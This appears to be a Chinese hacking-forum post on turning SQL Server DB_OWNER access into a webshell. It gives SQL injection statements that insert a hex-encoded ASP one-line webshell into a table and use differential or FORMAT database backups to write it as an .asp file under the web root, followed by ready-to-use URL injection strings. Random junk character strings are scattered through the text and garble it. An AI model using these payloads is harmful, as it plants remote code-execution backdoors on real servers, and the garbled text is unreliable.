DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

" Y4 B% V& v7 \6 R( H! o减少备份文件大小，得到可执行的webshell成功率提高不少
: g& u$ t7 R! O( T+ \, a. f! `: s一利用差异备份
. I& R: Y4 e  M7 @* j. l: E加一个参数WITH DIFFERENTIAL

2 J# X$ H. y8 F4 a  \! L" c+ y7 O$ N0 ~1
/ a1 B' I0 D1 a/ R' m2
# o9 D. z- p8 v3
( d' E( D0 |- E4
  v2 @& B! [- G5 P. e declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" h; L" s3 A. L2 F4 ^6 w1 {2 \create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 p) q9 C$ }8 |declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

, Y+ o3 R/ h# o$ Z$ R/ t/ P) ~) U二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
/ C5 `1 h% }! `7 m; b3 C
9 I' V% V' A3 f9 P- Z# K7 }1
4 h2 G" n8 R1 `7 Y9 R( L2
3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
7 i; s* C5 w2 g: g. x9 ]* mcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
, m7 [! f$ k% Cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
1 [+ a2 F. E/ b6 P
- A* T4 N& |+ [总的来说就是那么简单几句,下面以备份数据库model为例子
1

1
! i, k3 ~) T* p, x! F& E9 X id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2
* k0 d% a8 n: [/ Q
1
id=1;backup database model to disk='你的路径‘ with differential,format;--
' w' I& I' B% c1 z$ [7 M: p  H